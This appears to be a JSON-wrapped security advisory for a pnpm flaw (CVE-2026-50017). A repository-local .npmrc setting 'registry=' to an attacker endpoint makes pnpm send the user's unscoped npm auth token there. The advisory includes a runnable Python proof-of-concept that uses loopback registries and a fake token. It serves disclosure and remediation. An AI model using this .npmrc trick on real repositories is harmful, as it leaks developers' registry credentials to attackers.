{"id":"CVE-2026-50017","title":"pnpm binds unscoped user-level npm auth credentials to a repository-selected registry","summary":"pnpm binds unscoped user-level npm auth credentials to a repository-selected registry","severity":"medium","cwe":["CWE-200","CWE-522"],"vendor":"pnpm","product":"pnpm","ecosystem":"npm","affected":["pnpm < 10.34.0","pnpm >= 11.0.0, < 11.4.0"],"patched":["pnpm 10.34.0","pnpm 11.4.0"],"published":"2026-06-26","updated":"2026-06-26","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-cjhr-43r9-cfmw","references":[{"url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-cjhr-43r9-cfmw"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50017"},{"url":"https://github.com/advisories/GHSA-cjhr-43r9-cfmw"}],"tags":["ghsa","npm"],"epss":0.00437,"epssPercentile":0.37351,"ingestedAt":"2026-06-29T13:24:35.085Z","slug":"CVE-2026-50017","body":"## Overview\n\n## Summary\n\npnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local `.npmrc` file.\n\nIn the reproduced case, the user's npm config contains a default registry and an unscoped `_authToken`. The repository does not provide a token-bearing auth line. It only sets `registry=` to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an `Authorization` header.\n\nThis was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.\n\n## Affected Behavior Observed\n\nObserved affected:\n\n- pnpm `10.33.2`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry.\n- pnpm `11.1.3`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry.\n- pnpm `11.2.1` (`next-11` dist tag at testing time): `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry.\n- pnpm `11.1.3`: `pnpm view` also sends user-level unscoped `_authToken`, `_auth`, and `username` / `_password` credentials to the repository-selected registry in the local loopback replay.\n\nControl:\n\n- npm `10.9.7` rejects the same unscoped user `_authToken` configuration with `ERR_INVALID_AUTH` and does not send an `Authorization` header to the  repository-selected registry.\n- URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry.\n\n## Threat Model\n\nVictim:\n\n- developer or CI job with user-level npm registry credentials configured;\n- runs `pnpm install`, `pnpm view`, or an equivalent pnpm metadata/restore command in a repository.\n\nAttacker:\n\n- controls repository-local package manager configuration, such as `.npmrc`;\n- can set `registry=` to a registry endpoint they control;\n- does not need to provide a token-bearing auth line for the strong case.\n\nBoundary:\n\nCredentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.\n\n## Minimal Reproduction\n\nThe reproducer below starts two loopback HTTP registries:\n\n- a trusted registry URL used in the isolated user `.npmrc`;\n- an attacker registry URL used in the repository-local `.npmrc`.\n\nThe isolated user `.npmrc` contains:\n\n```ini\nregistry=<trusted-loopback-registry>\n_authToken=PR166_FAKE_REGISTRY_TOKEN\n```\n\nThe repository-local `.npmrc` contains:\n\n```ini\nregistry=<attacker-loopback-registry>\n```\n\nThe repository `package.json` depends on a toy package served by the loopback registry. The script then runs:\n\n```text\npnpm install --ignore-scripts\nnpm install --ignore-scripts\n```\n\n## Expected Safe Behavior\n\npnpm should not send the user-level unscoped `_authToken` to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.\n\n## Observed Behavior\n\npnpm `10.33.2`, pnpm `11.1.3`, and pnpm `11.2.1` send:\n\n```http\nAuthorization: Bearer PR166_FAKE_REGISTRY_TOKEN\n```\n\nto the attacker loopback registry during install. npm `10.9.7` rejects the same config and sends no `Authorization` header.\n\n## Security Impact\n\nThis can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.\n\n## Non-Claims\n\nThis report does not claim:\n\n- remote code execution;\n- registry account compromise by itself;\n- leakage of URL-scoped tokens for a different registry;\n- npm CLI impact;\n- impact from a repository explicitly committing its own token-bearing auth\n  line.\n\n## Source-Level Notes\n\nIn pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local `.npmrc` can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.\n\n## Suggested Fix Direction\n\nThe conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped\ncredentials.\n\nThis needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.\n\n## Runnable Reproducer\n\nSave the following as `repro.py` and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set `PR166_PNPM_SPEC`, for example `PR166_PNPM_SPEC=11.2.1`.\n\n```python\nimport base64\nimport contextlib\nimport hashlib\nimport http.server\nimport io\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tarfile\nimport tempfile\nimport threading\nfrom pathlib import Path\n\n\n\"\"\"Standalone loopback reproducer.\n\nIt creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()).\n\"\"\"\n\nTOKEN = \"PR166_FAKE_REGISTRY_TOKEN\"\nPACKAGE_TGZ = None\n\n\nclass RegistryHandler(http.server.BaseHTTPRequestHandler):\n    requests = []\n\n    def do_GET(self):\n        self.requests.append(\n            {\n                \"method\": self.command,\n                \"path\": self.path,\n                \"authorization\": self.headers.get(\"Authorization\"),\n            }\n        )\n        if self.path.endswith(\".tgz\"):\n            payload = make_package_tgz()\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/octet-stream\")\n            self.send_header(\"Content-Length\", str(len(payload)))\n            self.end_headers()\n            self.wfile.write(payload)\n            return\n\n        payload = make_package_tgz()\n        body = json.dumps(\n            {\n                \"name\": \"@private/probe\",\n                \"dist-tags\": {\"latest\": \"1.0.0\"},\n                \"versions\": {\n                    \"1.0.0\": {\n                        \"name\": \"@private/probe\",\n                        \"version\": \"1.0.0\",\n                        \"dist\": {\n                            \"tarball\": f\"http://127.0.0.1:{self.server.server_port}/private/@private/probe/-/probe-1.0.0.tgz\",\n                            \"shasum\": hashlib.sha1(payload).hexdigest(),\n                            \"integrity\": \"sha512-\"\n                            + base64.b64encode(hashlib.sha512(payload).digest()).decode(\"ascii\"),\n                        },\n                    }\n                },\n            }\n        ).encode(\"utf-8\")\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, fmt, *args):\n        return\n\n\n@contextlib.contextmanager\ndef registry():\n    handler = type(\"RecordingRegistryHandler\", (RegistryHandler,), {\"requests\": []})\n    server = http.server.ThreadingHTTPServer((\"127.0.0.1\", 0), handler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    try:\n        yield server, handler.requests\n    finally:\n        server.shutdown()\n        thread.join(timeout=5)\n        server.server_close()\n\n\ndef make_package_tgz():\n    global PACKAGE_TGZ\n    if PACKAGE_TGZ is not None:\n        return PACKAGE_TGZ\n    bio = io.BytesIO()\n    with tarfile.open(fileobj=bio, mode=\"w:gz\") as tf:\n        data = b'{\"name\":\"@private/probe\",\"version\":\"1.0.0\"}\\n'\n        info = tarfile.TarInfo(\"package/package.json\")\n        info.size = len(data)\n        tf.addfile(info, io.BytesIO(data))\n    PACKAGE_TGZ = bio.getvalue()\n    return PACKAGE_TGZ\n\n\ndef write_text(path, text):\n    path.parent.mkdir(parents=True, exist_ok=True)\n    path.write_text(text, encoding=\"utf-8\", newline=\"\\n\")\n\n\ndef run_install(tool, trusted_url, attacker_url):\n    exe = shutil.which(tool)\n    if exe is None:\n        return {\"tool\": tool, \"error\": \"missing\"}\n    cmd = [exe, \"install\", \"--ignore-scripts\"]\n    if tool == \"pnpm\" and os.environ.get(\"PR166_PNPM_SPEC\"):\n        corepack = shutil.which(\"corepack\")\n        if corepack is None:\n            return {\"tool\": tool, \"error\": \"corepack missing\"}\n        cmd = [corepack, f\"pnpm@{os.environ['PR166_PNPM_SPEC']}\", \"install\", \"--ignore-scripts\"]\n\n    with tempfile.TemporaryDirectory(prefix=f\"pr166-min-{tool}-\") as td:\n        root = Path(td)\n        home = root / \"home\"\n        project = root / \"project\"\n        home.mkdir()\n        project.mkdir()\n        userconfig = home / \".npmrc\"\n\n        write_text(userconfig, f\"registry={trusted_url}\\n_authToken={TOKEN}\\n\")\n        write_text(project / \".npmrc\", f\"registry={attacker_url}\\n\")\n        write_text(\n            project / \"package.json\",\n            '{\"name\":\"pr166-probe\",\"version\":\"1.0.0\",\"dependencies\":{\"@private/probe\":\"1.0.0\"}}\\n',\n        )\n\n        env = os.environ.copy()\n        env.update(\n            {\n                \"HOME\": str(home),\n                \"USERPROFILE\": str(home),\n                \"NPM_CONFIG_USERCONFIG\": str(userconfig),\n                \"npm_config_userconfig\": str(userconfig),\n                \"NPM_CONFIG_CACHE\": str(home / \"cache\"),\n                \"npm_config_cache\": str(home / \"cache\"),\n                \"NPM_CONFIG_STORE_DIR\": str(home / \"store\"),\n                \"npm_config_store_dir\": str(home / \"store\"),\n                \"XDG_CACHE_HOME\": str(home / \"xdg-cache\"),\n                \"XDG_DATA_HOME\": str(home / \"xdg-data\"),\n                \"NO_COLOR\": \"1\",\n            }\n        )\n\n        proc = subprocess.run(\n            cmd,\n            cwd=str(project),\n            env=env,\n            text=True,\n            encoding=\"utf-8\",\n            errors=\"replace\",\n            stdout=subprocess.PIPE,\n            stderr=subprocess.STDOUT,\n            timeout=60,\n        )\n        return {\"tool\": tool, \"returncode\": proc.returncode, \"output_tail\": proc.stdout[-2000:]}\n\n\ndef summarize(tool, result, attacker_requests):\n    auth_hits = [r for r in attacker_requests if r.get(\"authorization\")]\n    return {\n        \"tool\": tool,\n        \"result\": result,\n        \"attacker_auth_hits\": auth_hits,\n        \"attacker_request_count\": len(attacker_requests),\n    }\n\n\ndef tool_version(tool):\n    exe = shutil.which(tool)\n    if exe is None:\n        return \"missing\"\n    cmd = [exe, \"--version\"]\n    if tool == \"pnpm\" and os.environ.get(\"PR166_PNPM_SPEC\"):\n        corepack = shutil.which(\"corepack\")\n        if corepack is None:\n            return \"corepack missing\"\n        cmd = [corepack, f\"pnpm@{os.environ['PR166_PNPM_SPEC']}\", \"--version\"]\n    proc = subprocess.run(\n        cmd,\n        text=True,\n        encoding=\"utf-8\",\n        errors=\"replace\",\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        timeout=20,\n    )\n    return proc.stdout.strip() or f\"exit-{proc.returncode}\"\n\n\ndef main():\n    pnpm_version = tool_version(\"pnpm\")\n    npm_version = tool_version(\"npm\")\n    print(f\"TARGET_VERSION=pnpm {pnpm_version}; npm {npm_version}\")\n    if pnpm_version == \"missing\" or npm_version == \"missing\":\n        print(\"CHECK environment_has_pnpm_and_npm result=fail\")\n        return 1\n\n    print(\"ENVIRONMENT_READY\")\n    overall = []\n    with registry() as (trusted, _trusted_requests), registry() as (attacker, attacker_requests):\n        trusted_url = f\"http://127.0.0.1:{trusted.server_port}/private/\"\n        attacker_url = f\"http://127.0.0.1:{attacker.server_port}/private/\"\n\n        before = len(attacker_requests)\n        pnpm_result = run_install(\"pnpm\", trusted_url, attacker_url)\n        pnpm_summary = summarize(\"pnpm\", pnpm_result, attacker_requests[before:])\n        overall.append(pnpm_summary)\n\n        before = len(attacker_requests)\n        npm_result = run_install(\"npm\", trusted_url, attacker_url)\n        npm_summary = summarize(\"npm\", npm_result, attacker_requests[before:])\n        overall.append(npm_summary)\n\n    print(json.dumps(overall, indent=2))\n\n    pnpm_leaked = bool(overall[0][\"attacker_auth_hits\"])\n    npm_leaked = bool(overall[1][\"attacker_auth_hits\"])\n    print(f\"OBSERVED_PNPM_AUTH_HITS={len(overall[0]['attacker_auth_hits'])}\")\n    print(f\"OBSERVED_NPM_AUTH_HITS={len(overall[1]['attacker_auth_hits'])}\")\n    print(\n        \"COMMAND_EXIT_CODE=\"\n        f\"pnpm:{overall[0]['result'].get('returncode', 'missing')} \"\n        f\"npm:{overall[1]['result'].get('returncode', 'missing')}\"\n    )\n    if pnpm_leaked and not npm_leaked:\n        print(\"CHECK pnpm_leaked=true npm_control_held=true result=pass\")\n        print(\"VULNERABLE_BEHAVIOR_CONFIRMED\")\n        print(\"RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD\")\n        print(\"RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED\")\n        return 0\n    if pnpm_leaked and npm_leaked:\n        print(\"CHECK pnpm_leaked=true npm_control_held=false result=fail\")\n        print(\"RESULT_BOTH_TOOLS_SENT_AUTH\")\n        return 2\n    print(\"CHECK pnpm_leaked=false result=fail\")\n    print(\"RESULT_NO_PNPM_AUTH_LEAK\")\n    return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Abbreviated Expected Output\n\n```text\nTARGET_VERSION=pnpm 11.2.1; npm 10.9.7\nENVIRONMENT_READY\n...\nOBSERVED_PNPM_AUTH_HITS=3\nOBSERVED_NPM_AUTH_HITS=0\nCOMMAND_EXIT_CODE=pnpm:0 npm:1\nCHECK pnpm_leaked=true npm_control_held=true result=pass\nVULNERABLE_BEHAVIOR_CONFIRMED\nRESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD\nRESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED\n```\n\nReporter: JUNYI LIU\n\n## Affected packages\n\n- `pnpm < 10.34.0`\n- `pnpm >= 11.0.0, < 11.4.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pnpm 10.34.0`\n- `pnpm 11.4.0`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}